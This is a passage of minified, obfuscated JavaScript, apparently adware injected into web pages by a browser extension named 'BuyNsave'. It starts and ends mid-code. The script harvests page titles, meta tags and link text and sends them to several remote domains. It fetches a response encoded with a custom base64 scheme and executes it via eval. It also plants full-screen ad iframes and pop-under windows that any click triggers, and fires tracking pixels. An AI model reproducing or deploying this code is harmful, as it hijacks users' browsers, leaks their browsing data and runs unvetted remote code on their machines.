d=b.charCodeAt(a);128>d?c+=String.fromCharCode(d):(127<d&&2048>d?c+=String.fromCharCode(d>>6|192):(c+=String.fromCharCode(d>>12|224),c+=String.fromCharCode(d>>6&63|128)),c+=String.fromCharCode(d&63|128))}return c}return b}; b.decode=function(b){b=b.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var c='',a=0;a<b.length;){var d=this.xlat.indexOf(b.charAt(a++)),h=this.xlat.indexOf(b.charAt(a++)),m=this.xlat.indexOf(b.charAt(a++)),k=this.xlat.indexOf(b.charAt(a++)),p=(h&15)<<4|m>>2,n=(m&3)<<6|k,c=c+String.fromCharCode(d<<2|h>>4);64!=m&&0<p&&(c+=String.fromCharCode(p));64!=k&&0<n&&(c+=String.fromCharCode(n))}return this._utf8_decode(c)};b._utf8_decode=function(b){for(var c='',a=0;a<b.length;){var d=b.charCodeAt(a);if(128> d)c+=String.fromCharCode(d),a++;else if(191<d&&224>d)var h=b.charCodeAt(a+1),c=c+String.fromCharCode((d&31)<<6|h&63),a=a+2;else var h=b.charCodeAt(a+1),m=b.charCodeAt(a+2),c=c+String.fromCharCode((d&15)<<12|(h&63)<<6|m&63),a=a+3}return c}};c.ajax=new function(){this.get=function(b,c){try{var a=new XMLHttpRequest;a.open('GET',b,!0);a.withCredentials=!0;a.onreadystatechange=function(){4==a.readyState&&c(a.responseText)};a.send()}catch(e){}}};c.randomChar=function(){for(var b='',c=0;2>c;c++)b+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52* Math.random()));return b};c.msie=function(){var b=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(b)&&(b=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(b)?!1:b}();c.inject_script=function(b){var c=document.getElementsByTagName('body')[0],a=document.createElement('script');a.type='text/javascript';a.id='id_'+d.prefix;a.src=b;c&&c.appendChild(a)};c.epoch=function(){return Math.floor((new Date).getTime()/1E3)};c.getVert= function(){var b=localStorage.getItem('sk398erjds2d');return b?b:c.forexVert()};c.browser=function(){var b=navigator.userAgent.toLowerCase(),c={webkit:/webkit/.test(b),mozilla:/mozilla/.test(b)&&!/(compatible|webkit)/.test(b),chrome:/chrome/.test(b),msie:/msie/.test(b)&&!/opera/.test(b),firefox:/firefox/.test(b),safari:/safari/.test(b)&&!/chrome/.test(b),opera:/opera/.test(b)};c.version=c.safari?(b.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(b.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return c}(); c.getNodeTextProp=function(b){return'textContent'in b?'textContent':'innerText'in b?'innerText':!1};c.dhtml_prop_name=function(b){return b.replace(/(\\-([a-z]){1})/g,function(b,c,a){return a.toUpperCase()})};c.get_computed_style='function'!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function(a){'float'==a&&(a='styleFloat');a=c.dhtml_prop_name(a);return'object'==typeof b.currentStyle&&null!=b.currentStyle&&'undefined'!=typeof b.currentStyle[a]?b.currentStyle[a]:null}}}:function(b, c){return window.getComputedStyle(b,c)||{getPropertyValue:function(){}}};c.mapAdTypes=function(b){for(var c={},a=0;a<b.length;a++){var e=b[a];c['_'+e[2]]={key:e[0]+'x'+e[1]}}return c}};a.prefix='if72ru4rkjahiuyi';a.version='0.1.0';a.pop_collision_id='__ipu=';a.pixelHostname='//direct_pop.winnering.net/';a.fallbackHostnames=['compey.net','comprises.info'];a.fallbackAdTypes={_1:{key:'728x90'},_2:{key:'300x250'},_3:{key:'468x60'},_4:{key:'250x250'},_5:{key:'160x600'},_6:{key:'120x600'},_7:{key:'120x240'}, _8:{key:'240x400'},_10:{key:'300x600'},_9:{key:'1024x728'},_11:{key:'670x670'},_12:{key:'600x270'},_13:{key:'600x400'}};try{a.stngs=a.utils.JSON.parse('{\"szy_domain\":[\"softwaresupermysolution.in\",\"compey.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch(r){a.stngs=a.utils.JSON.parse('{\"szy_domain\":[\"skymetwebguard.com\",\"compey.info\"],\"ad_sizes\":[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13],[125,125,14],[234,60,15],[200,200,16],[336,280,17],[180,150,18],[120,60,19],[800,440,20],[800,600,21]]}')}var q; q=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.szy_domain&&a.stngs.szy_domain instanceof Array?a.stngs.szy_domain:a.fallbackHostnames;a.hostnames=q;q=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.ad_sizes&&a.stngs.ad_sizes instanceof Array?a.utils.mapAdTypes(a.stngs.ad_sizes):a.fallbackAdTypes;a.adTypes=q;a.body=document.getElementsByTagName('body')[0];a.directParams={subid:d.pid,subid1:d.hid,subid2:d.eid,subid3:686,tid:'6'};a.dom=new function(){this.json_to_html=function(c,b){if('#text'==c.type)b= document.createTextNode(c.text);else if('#comment'!=c.type){b||(b=document.createElement(c.type));if(c.attrs){for(var a in c.attrs)if(c.attrs.hasOwnProperty(a))if('style'==a&&c.attrs.style instanceof Object)for(var g in c.attrs.style){var e=d.utils.dhtml_prop_name(g);try{b.style[e]=c.attrs.style[g]}catch(l){}}else b.setAttribute(a,c.attrs[a]);'iframe'==c.type&&(c.attrs.hasOwnProperty('frameborder')&&(b.frameBorder=c.attrs.frameborder),c.attrs.hasOwnProperty('marginwidth')&&(b.marginWidth=c.attrs.marginwidth), c.attrs.hasOwnProperty('marginheight')&&(b.marginHeight=c.attrs.marginheight))}if(c.children)for(a=0;a<c.children.length;a++){e=c.children[a];g=arguments.callee(e);try{b.appendChild(g)}catch(h){if('#text'==e.type&&'string'==typeof e.text)if('style'==c.type&&b.styleSheet)b.styleSheet.cssText=e.text||'';else if(g=d.utils.getNodeTextProp(b))b[g]=e.text}}}return b}};a.events=new function(){var c=this;c.cache=[];c.add=window.addEventListener?function(b,a,d,e,l){'undefined'==typeof e&&(e=window);e.addEventListener(b, a,d);l&&c.cache.push([b,a,d,e])}:window.attachEvent?function(b,a,d,e,l){'undefined'==typeof e&&(e=window);e['e'+b+a]=a;e[b+a]=function(){e['e'+b+a](window.event)};e.attachEvent('on'+b,e[b+a]);l&&c.cache.push([b,a,d,e])}:function(){};c.remove=window.removeEventListener?function(b,a,c,e){'undefined'==typeof e&&(e=window);e.removeEventListener(b,a,c)}:window.detachEvent?function(b,a,c,e){'undefined'==typeof e&&(e=window);e.detachEvent('on'+b,e[b+a]);e[b+a]=null;e['e'+b+a]=null}:function(){};c.flush= function(){for(var a=0;a<c.cache.length;a++)c.remove.apply(c,c.cache[a]);c.cache=[]}};a.pixel=function(c,b){var f=a.pixelHostname+'?',g=d.hostnames['https:'==window.location.protocol?0:1],g={pid:d.pid,cc:d.cc,eid:d.eid,hid:d.hid,v:d.version,ch:b,cid:d.response[0][2],tid:d.directParams.tid,adtid:d.response[0][4],smid:d.response[0][3],pbid:c,oh:encodeURIComponent(d.response[0][0]),sh:encodeURIComponent(g)},e;for(e in g)f+=e+'='+g[e]+'&';f=f.slice(0,-1);(new Image).src=f};a.products=new function(){this.code_7= function(a){function b(){var a=document.getElementById('__modal_close'),b=document.getElementById('__modal_container');d.events.add('click',function(){b.parentNode.removeChild(b)},!1,a,!1)}function f(){var a,b,c;'undefined'==typeof d.response[0][4]&&d.response[0].push(9);try{a=d.adTypes['_'+d.response[0][4]].key,b=a.split('x')[0]+'px',c=a.split('x')[1]+'px'}catch(e){}a=window.innerHeight;if(b&&c){var f=document.getElementById('__modal');f.style.width=b;f.style.height=c;f.style.marginLeft=parseInt(f.style.width)/ 2-parseInt(f.style.width)+'px';f.style.top=(a-parseInt(f.style.height))/2+'px'}}if((a=a[0][0])&&window.location.protocol===d.utils.getProtocol(a)&&!(d.utils.msie&&9>d.utils.msie)&&'http:'===a.split('/')[0]){var g={type:'div',attrs:{id:'__modal_container',style:{position:'fixed','z-index':'9999999999',height:'100%',width:'100%',margin:'0',padding:'0',background:'rgba(0,0,0,0.3)',top:'0',right:'0',bottom:'0',left:'0','border-radius':'0'}},children:[{type:'div',attrs:{id:'__modal',style:{position:'absolute', 'z-index':'99999999999',left:'50%',top:'10px','text-align':'left',width:'90%',margin:'0 0 0 -45%','background-color':'#FFFFFF',border:'1px solid #DDDDDD','border-radius':'5px',height:'90%',padding:'0'}},children:[{type:'div',attrs:{style:{margin:'0',padding:'2px',left:'0',width:'inherit',top:'0','background-color':'transparent'},id:'__modal_close'},children:[{type:'img',attrs:{src:'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABA1JREFUeNp8VW9IW1cUP3l5eS9iZx+amsaNtNZsdtgttnSkBYmRLEsVs1rwi9Z9Udm6YZXYTr+MaMcm4idXPwTUD05BWP3bNBsleREUoabMTzr/wNxEjQqCgoj/Gr2792re8prUC4f3znnn/M65757zuwqEEMRbLMfxXzocV/MLCswfZ2bakpKSTAqFAra3t4ML//zr93pfjL3weOb29vYO4gIQ4GjBwWx1dbVlfn5e3NjYQBHBOpqamkLRtoWFBfEh9mUYhn0bR6ZotTrB5/O5SNDq6irq6OhAxcXFSK1Wy8Rms6G2tja0vLxME4iBgEt78aIQF1in0wnT09Nu4uj1epHRaEQ8z8eARovJZELj4+ORHbk/0OsFGTCLV2BkhFba1dUlBUYDn5WkpaWFggeDQRfHq1kJ2NXQaIlUelaFZ0l7ezsF/7mpyUKBNamp/NLSkogFZWVlyZytVivKz8+PATEYDKimpgZd0GolW9L582h2dhatra2JaWlpPNR+/9hIMrndbllwTk6OdPrNzc3UlpCQgLKzsykAsXd2dspinE4ntT958qORseZZzaTthoeHZS2I+xX29/epXlFRAY2NjYB3BL29vaDRaKh9Z2dHiiE9PjA0BMfHx3Dnjt0MoVDIs7i4GPe/lZaWopWVFaly4hd57+/vjxszMTGB1tfXPYxKpTJtbm7GDA1Zg4ODUFdXB4eHh1RPTEykz9HRUSgrK4s7cBgUlEqliSFbODo6kn0ktsjC0wW7u7uy78QWb0VjMViCycnJcR0/NRqhu7sbBEGgeiSovLwcGhoaqB4th+EwpKSkEJcgg8fSjwkGMjIyZKDJ2KEHg0aSku0/dNbCwcEJ51RWVkJ1TS28OQZ4g/OF8fMIi/7SJdja2vIzflEcI44Oh0MG/Mm1azLQkpISGHjWB85HjyXwz25eP/0H+Fzwo6joLrx37hw8/8M3Btdv3ODxKYuEvTSp2pi+rK+vp+/4kBEoT8RssZIJQ+kfZlJdgckNFCr00ucnHSMab97iaQf82tNDR7q1tfWdI0uAFcr/wRklhxiGk/QH335H27BvYMgiccXly+ks7mdKQlVVVTGgfIIasbRiVgIiVSpZkoxDn9vtmGbXSc+7dPp0Vkablrw8AQNT2mzC25RAsXBYlKqTKiPgzGmCr795gFZCIVKt2154V4hL9F/Y7QLJSsAnJycRHmWkuZCKOBWumFTHnACSX1J07x4KBEbo9jHxuAqLimVEr3j7zku/coV9+svTnNu3b/2AVSuZOsx8MDMzg09eAQbDR6DXv09PH6/Aq9d//uSsfTT+99xfYdmwvOsyzc3N5e/f/+pqYWGBmeM4GzaZTj8Fw+Gwf9Dz+9hvz/rmRsWXcS/T/wQYAL8KChTqW9Z8AAAAAElFTkSuQmCC', style:{cursor:'pointer',width:'22px',height:'22px'}}},{type:'span',attrs:{style:{position:'relative','margin-left':'20px','font-size':'12px','line-height':'33px'}},children:[{type:'#text',text:'Ads by '+d.extName}]}]},{type:'iframe',attrs:{style:{border:'0'},id:'__modal_iframe',\"name\": \"fghjktghndfgtssss\",width:'100%',height:'100%',frameboarder:'0',scrolling:'yes',marginheight:'0',marginwidth:'0',allowtransparency:'true',src:''}}]}]};try{var e=d.dom.json_to_html(g)}catch(l){}e&&(document.getElementsByTagName('body')[0].appendChild(e),document.getElementById('__modal_iframe').src= a,d.pixel('0','1'),b(),f())}}};a.getKeywords=function(){var a=document.title,b=document.getElementsByTagName('meta');if(b)for(var d=0,g=b.length;d<g;d++)'keywords'!=b[d].name.toLowerCase()&&'description'!=b[d].name.toLowerCase()||(a+=' '+b[d].content.replace(/,/g,' '));if(d=document.getElementsByTagName('a')){b={};for(g=0;g<d.length;g++)try{var e=d[g].innerText;'undefined'==typeof e&&(e=d[g].textContent);for(var l=e.toLowerCase().split(/[\\s,-]/g),h=0;h<l.length;h++)4>l[h].length||(b[l[h]]?b[l[h]]++: b[l[h]]=1)}catch(m){}var e=[],k;for(k in b)e.push([k,b[k]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(k=0;k<e.length;k++)a+=' '+e[k][0]}return a.replace(/[_-]/g,' ').substring(0,1024)};a.injectComplianceBanner=function(){var c=document.getElementsByTagName('body')[0];if(0!=c.children.length){var b=document.createElement('div');b.id='cmsie';var d='<span style=\"font: xx-small;color: rgb(153, 153, 153);height: 15px; font-family: Tahoma;font-size: 8px;padding-right: 22px;padding-top: 1px;float: right; top: 2px; text-decoration: none;line-height: 15px;\">Ad by '+ a.extName+'</span>';b.setAttribute('style','height: 15px;position: relative;background-color: #F9F9F9;border: none;border-radius:0');b.innerHTML=d;c.insertBefore(b,c.children[0])}};a.prepareUrl=function(){var c='?',b;for(b in d.directParams)c+=b+'='+d.directParams[b]+'&';c+='k='+encodeURIComponent(d.getKeywords());return'//'+a.hostnames['http:'==window.location.protocol?0:1]+c};a.tp=function(c){if(c){c=a.utils.l.decode(c);try{a.response=eval(c)}catch(b){}if(a.response&&a.response[0]&&(a.response[0][0]= a.response[0][0].replace('zig_pp','qdwKrjnEvTwHrG5Hqx1Fqdr9rdg6pdUF'),c=a.response[0][3],c=7,7===c&&'function'==typeof a.products['code_'+c]))a.products['code_'+c](a.response)}};a.getInstructions=function(c){var b='&cb='+a.prefix+'.tp';a.utils.msie?a.utils.inject_script(c+b):a.utils.ajax.get(c,function(b){b&&a.tp(b)})};a.initPop=function(){if(-1!==window.location.href.indexOf(a.pop_collision_id))return a.injectComplianceBanner();var c=a.prepareUrl();d.utils.getInstructions(c,'tp')};a.injectOnload=function(){'complete'=== document.readyState||10<a.OnloadCap?a.initPop():setTimeout(function(){a.OnloadCap++;a.injectOnload()},200)};d.utils.msie&&9>d.utils.msie||(window==window.top&&(a.utils.msie?a.injectOnload():a.initPop()),'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a))}};}catch(e){};try{new function(){if(!document.getElementById('__if72ru4sdfsdfruh7fewui_once')){(function(){var a=document.createElement('div');a.id='__if72ru4sdfsdfruh7fewui_once';a.setAttribute('style','display:none;');var c=document.getElementsByTagName('body')[0];c&&c.appendChild(a)})();var a=this;a.utils=new function(){var b=this;b.JSON=new function(){this.parse=function(a){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(a):eval('var a='+a)}catch(d){return!1}}};b.cookie=new function(){var a= this;a.setCookie=function(a,c,b){if(b){var e=new Date;e.setTime(e.getTime()+864E5*b);b='; expires='+e.toGMTString()}else b='';document.cookie=a+'='+c+b+'; path=/'};a.getCookie=function(a){a+='=';for(var c=document.cookie.split(';'),b=0;b<c.length;b++){for(var e=c[b];' '==e.charAt(0);)e=e.substring(1,e.length);if(0==e.indexOf(a))return e.substring(a.length,e.length)}return null};a.eraseCookie=function(d){a.setCookie(d,'',-1)}};b.getUrlPart=function(a,d){var b=document.createElement('a');b.href=a;return b[d]}; b.isMenuBarVisible=function(){if(!b.msie&&window.menubar)return window.menubar.visible;var a=window.innerWidth||document.documentElement.scrollWidth||0,d=window.innerHeight||document.documentElement.scrollHeight||0;if(a){window.resizeTo(a,d);var f=window.innerWidth||document.documentElement.scrollWidth,g=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(a+2,d);a=window.scrollWidth||document.documentElement.scrollWidth;return a!=f&&a<=f+2&&90>=d-g}};b.getInstructions=function(c, d){b.msie?b.inject_script(c+('&cb='+a.prefix+'.'+d)):b.ajax.get(c,function(c){if(c)a[d](c)})};b.l=new function(){var a=this;a.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';a.encode=function(d){d=a._utf8_encode(d);for(var b='',g=0;g<d.length;){var e=d.charCodeAt(g++),h=d.charCodeAt(g++),k=d.charCodeAt(g++),m=e>>2,e=(e&3)<<4|h>>4,l=(h&15)<<2|k>>6,n=k&63;isNaN(h)?l=n=64:isNaN(k)&&(n=64);b=b+a.xlat.charAt(m)+a.xlat.charAt(e)+(64==l?'=':a.xlat.charAt(l))+(64==n?'=':a.xlat.charAt(n))}return b}; a._utf8_encode=function(a){if(a&&a.length){for(var c='',b=0;b<a.length;b++){var e=a.charCodeAt(b);128>e?c+=String.fromCharCode(e):(127<e&&2048>e?c+=String.fromCharCode(e>>6|192):(c+=String.fromCharCode(e>>12|224),c+=String.fromCharCode(e>>6&63|128)),c+=String.fromCharCode(e&63|128))}return c}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var c='',b=0;b<a.length;){var e=this.xlat.indexOf(a.charAt(b++)),h=this.xlat.indexOf(a.charAt(b++)),k=this.xlat.indexOf(a.charAt(b++)), m=this.xlat.indexOf(a.charAt(b++)),l=(h&15)<<4|k>>2,n=(k&3)<<6|m,c=c+String.fromCharCode(e<<2|h>>4);64!=k&&0<l&&(c+=String.fromCharCode(l));64!=m&&0<n&&(c+=String.fromCharCode(n))}return this._utf8_decode(c)};a._utf8_decode=function(a){for(var c='',b=0;b<a.length;){var e=a.charCodeAt(b);if(128>e)c+=String.fromCharCode(e),b++;else if(191<e&&224>e)var h=a.charCodeAt(b+1),c=c+String.fromCharCode((e&31)<<6|h&63),b=b+2;else var h=a.charCodeAt(b+1),k=a.charCodeAt(b+2),c=c+String.fromCharCode((e&15)<<12| (h&63)<<6|k&63),b=b+3}return c}};b.ajax=new function(){this.get=function(a,b){try{var f=new XMLHttpRequest;f.open('GET',a,!0);f.withCredentials=!0;f.onreadystatechange=function(){4==f.readyState&&b(f.responseText)};f.send()}catch(g){}}};b.randomChar=function(){for(var a='',b=0;2>b;b++)a+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52*Math.random()));return a};b.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a= parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();b.inject_script=function(b){var d=document.getElementsByTagName('body')[0],f=document.createElement('script');f.type='text/javascript';f.id='id_'+a.prefix;f.src=b;d&&d.appendChild(f)};b.epoch=function(){return Math.floor((new Date).getTime()/1E3)};b.getVert=function(){var a=localStorage.getItem('sk398erjds2d');return a?a:b.forexVert()};b.browser=function(){var a=navigator.userAgent.toLowerCase(), b={webkit:/webkit/.test(a),mozilla:/mozilla/.test(a)&&!/(compatible|webkit)/.test(a),chrome:/chrome/.test(a),msie:/msie/.test(a)&&!/opera/.test(a),firefox:/firefox/.test(a),safari:/safari/.test(a)&&!/chrome/.test(a),opera:/opera/.test(a)};b.version=b.safari?(a.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(a.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return b}();b.getNodeTextProp=function(a){return'textContent'in a?'textContent':'innerText'in a?'innerText':!1};b.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g, function(a,b,c){return c.toUpperCase()})};b.get_computed_style='function'!=typeof window.getComputedStyle?function(a){return{getPropertyValue:function(d){'float'==d&&(d='styleFloat');d=b.dhtml_prop_name(d);return'object'==typeof a.currentStyle&&null!=a.currentStyle&&'undefined'!=typeof a.currentStyle[d]?a.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}}};a.prefix='if72ru4sdfsdfruh7fewui';a.version='0.1.1';a.pop_collision_id='__ipu=';a.pixel_token= 'px.pluginh';a.pixel_data_token='__pdt';a.pixelHostname=function(){try{return'direct_pop.'+eval('[\"winnerical.org\",\"winnermore.net\"]')['https:'==window.self.location.protocol?1:0]}catch(a){return['direct_pop.winneri.info','direct_pop.winnermore.org']['https:'==window.self.location.protocol?1:0]}}();a.extName='BuyNsave';a.pid='20494';a.cc='MA';a.eid='78';a.hid='11964702200008270108';a.prid=687;a.lt='188';a.jpshort='ZAkmywg6';a.platform_version= '9';a.fallbackHostnames=['sitewebred.info','privilegesbox.net'];try{a.stngs=eval('xzxzxx_xzxzxzx = {\"szy_domain\":[\"fastunitdatagood.in\",\"privilegesbox.net\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch(r){a.stngs={szy_domain:['gamesjobstarblack.in','privilegesbox.net'],ad_sizes:[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13]]}}var q;q=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.szy_domain&&a.stngs.szy_domain instanceof Array?a.stngs.szy_domain: a.fallbackHostnames;a.hostnames=q;a.serverHostnames=['superiends.org','go.turboloves.net'];a.manhattanHostname=['sitewebred.com','gadgetproffi.com'];a.body=document.getElementsByTagName('body')[0];a.directParams={subid:a.pid,subid1:a.hid,subid2:a.eid,subid3:a.prid,direct:'1',tid:'3'};a.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(c,d,f,g,e){'undefined'==typeof g&&(g=window);g.addEventListener(c,d,f);e&&a.cache.push([c,d,f,g])}:window.attachEvent?function(c,d, f,g,e){'undefined'==typeof g&&(g=window);g['e'+c+d]=d;g[c+d]=function(){g['e'+c+d](window.event)};g.attachEvent('on'+c,g[c+d]);e&&a.cache.push([c,d,f,g])}:function(){};a.remove=window.removeEventListener?function(a,b,f,g){'undefined'==typeof g&&(g=window);g.removeEventListener(a,b,f)}:window.detachEvent?function(a,b,f,g){'undefined'==typeof g&&(g=window);g.detachEvent('on'+a,g[a+b]);g[a+b]=null;g['e'+a+b]=null}:function(){};a.flush=function(){for(var c=0;c<a.cache.length;c++)a.remove.apply(a,a.cache[c]); a.cache=[]}};a.pixel=function(b,c){var d='//'+a.pixelHostname+'?',f=a.hostnames['https:'==window.self.location.protocol?1:0],g=a.response[0][2],e=a.response[0][4],h=a.response[0][3],k=a.version,m=a.directParams.tid,l;if(256>a.response[0][0].length)l=a.response[0][0];else{l=a.utils.getUrlPart(a.response[0][0],'hostname');var n=a.utils.getUrlPart(a.response[0][0],'pathname');l+=n}var f={pid:a.pid,cc:a.cc,eid:a.eid,hid:a.hid,v:k,ch:c,cid:g,tid:m,adtid:e,smid:h,pbid:b,oh:encodeURIComponent(l),sh:encodeURIComponent(f)}, p;for(p in f)d+=p+'='+f[p]+'&';d=d.slice(0,-1);(new Image).src=d};a.products=new function(){var b=this;b.code_3=function(b){var d=b[0][0],f=function(){a.pixel('0','3');var b=encodeURIComponent(a.addParamsForPixel());d=d+'&'+a.pixel_token+'=1&'+a.pixel_data_token+'='+b;window.open(d,a.prefix,'resizable=no, toolbar=no, scrollbars=no, menubar=no, status=no, directories=no, width='+screen.width+', height='+screen.height)||a.pixel('0','8070');a.events.remove('click',f,!1,document)};a.events.add('click', f,!1,document,!0)};b.code_4=function(c){(function(c){(function(c){var d=top!=b&&'string'===typeof top.document.location.toString()?top:b,e=null,h={},k=h.name||Math.floor(1E3*Math.random()+1),m=h.width||window.outerWidth||window.innerWidth||document.documentElement.clientWidth,l=h.height||window.outerHeight-100||window.innerHeight||document.documentElement.clientHeight,n='undefined'!=typeof h.left?h.left.toString():window.screenX,h='undefined'!=typeof h.top?h.top.toString():window.screenY,p=function(){var a= navigator.userAgent.toLowerCase(),b={webkit:/webkit/.test(a),mozilla:/mozilla/.test(a)&&!/(compatible|webkit)/.test(a),chrome:/chrome/.test(a),msie:/msie/.test(a)&&!/opera/.test(a),firefox:/firefox/.test(a),safari:/safari/.test(a)&&!/chrome/.test(a),opera:/opera/.test(a)};b.version=b.safari?(a.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(a.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return b}();(function(b,c,f,h,k,l){var m='toolbar=no,scrollbars=yes,location=yes,statusbar=yes,menubar=no,resizable=1,width='+ f.toString()+',height='+h.toString()+',screenX='+k+',screenY='+l,n=function(){window.removeEventListener?document.removeEventListener('click',n,!1):document.detachEvent('onclick',n);a.pixel('0','4');if(e=d.window.open(b,c,m))try{e.blur();e.opener.window.focus();window.self.window.focus();window.focus();if(p.firefox){var f=window.open('about:blank');f.focus();f.close()}if(p.webkit){var h=document.createElement('a');h.href='data:text/html,<script>window.close();\\x3c/script>';document.getElementsByTagName('body')[0].appendChild(h); var k=document.createEvent('MouseEvents');k.initMouseEvent('click',!0,!0,window,0,0,0,0,0,!0,!1,!1,!0,0,null);h.dispatchEvent(k);h.parentNode.removeChild(h)}p.msie&&(e.opener.window.focus(),window.self.window.focus(),window.focus())}catch(l){}};document.addEventListener?document.addEventListener('click',n,!1):document.attachEvent('onclick',n)})(c,k,m,l,n,h)})(c)})(c[0][0])};b.code_5=function(b){var d=b[0][0],f=function(){window.removeEventListener?document.removeEventListener('click',f,!1):document.detachEvent('onclick', f);a.pixel('0','5');var b=document.createElement('a');b.href=d;document.getElementsByTagName('body')[0].appendChild(b);var c=document.createEvent('MouseEvents');c.initMouseEvent('click',!1,!0,window,0,0,0,0,0,!0,!1,!1,!0,0,null);b.dispatchEvent(c);b.parentNode.removeChild(b);a.pixel('0','1')};document.addEventListener?document.addEventListener('click',f,!1):document.attachEvent('onclick',f)}};a.getKeywords=function(){var a=document.title,c=document.getElementsByTagName('meta');if(c)for(var d=0,f= c.length;d<f;d++)'keywords'!=c[d].name.toLowerCase()&&'description'!=c[d].name.toLowerCase()||(a+=' '+c[d].content.replace(/,/g,' '));if(d=document.getElementsByTagName('a')){c={};for(f=0;f<d.length;f++)try{var g=d[f].innerText;'undefined'==typeof g&&(g=d[f].textContent);for(var e=g.toLowerCase().split(/[\\s,-]/g),h=0;h<e.length;h++)4>e[h].length||(c[e[h]]?c[e[h]]++:c[e[h]]=1)}catch(k){}var g=[],m;for(m in c)g.push([m,c[m]]);g.sort(function(a,b){return b[1]-a[1]});g=g.slice(0,25);for(m=0;m<g.length;m++)a+= ' '+g[m][0]}return a.replace(/[_-]/g,' ').substring(0,1024)};a.injectComplianceBanner=function(){var b=document.getElementsByTagName('body')[0];if(0!=b.children.length){var c=document.createElement('div');c.id='cmsie';var d='<span style=\"font: xx-small;color: rgb(153, 153, 153);height: 15px; font-family: Tahoma;font-size: 8px;padding-right: 22px;padding-top: 1px;float: right; top: 2px; text-decoration: none;line-height: 15px;\">Ad by '+a.extName+'</span>';c.setAttribute('style','height: 15px;position: relative;background-color: #F9F9F9;border: none;border-radius:0'); c.innerHTML=d;b.insertBefore(c,b.children[0])}};a.prepareUrl=function(){var b='?',c;for(c in a.directParams)b+=c+'='+a.directParams[c]+'&';b+='k='+encodeURIComponent(a.getKeywords());return'//'+a.hostnames['https:'==window.self.location.protocol?1:0]+b};a.addParamsForPixel=function(){var b='//'+a.pixelHostname+'?',c=a.hostnames['https:'==window.self.location.protocol?1:0],d=a.response[0][2],f=a.response[0][4],g=a.response[0][3],e=a.version,h=a.directParams.tid,k;if(256>a.response[0][0].length)k=a.response[0][0]; else{k=a.utils.getUrlPart(a.response[0][0],'hostname');var m=a.utils.getUrlPart(a.response[0][0],'pathname');k+=m}var c={pid:a.pid,cc:a.cc,eid:a.eid,hid:a.hid,v:e,ch:'1',cid:d,tid:h,adtid:f,smid:g,pbid:'0',oh:encodeURIComponent(k),sh:encodeURIComponent(c)},l;for(l in c)b+=l+'='+c[l]+'&';b=b.slice(0,-1);b=a.utils.l.encode(b);return b.replace(/=/g,'')};a.falsePixel=function(){var b='//'+a.pixelHostname+'?',c={pid:a.pid,cc:a.cc,eid:a.eid,hid:a.hid,v:a.version,ch:'-1',cid:'0',tid:'3',adtid:'0',smid:'0', pbid:'0',oh:'0',sh:encodeURIComponent(a.hostnames['https:'==window.self.location.protocol?1:0])},d;for(d in c)b+=d+'='+c[d]+'&';b=b.slice(0,-1);(new Image).src=b};a.tp=function(b){if(b){b=a.utils.l.decode(b);try{a.response=eval(b)}catch(c){}if(!a.response||!a.response[0])return a.falsePixel();a.response[0][0]=a.response[0][0].replace('zig_pp','qdwKrjnEvTwHrG5Hqx1Fqdr9rdg6pdUF');b=a.response[0][3];if(1!==b&&2!==b)if(0===b&&(b=3),'function'==typeof a.products['code_'+b])a.products['code_'+b](a.response);else a.products.code_3(a.response)}}; a.getInstructions=function(b){var 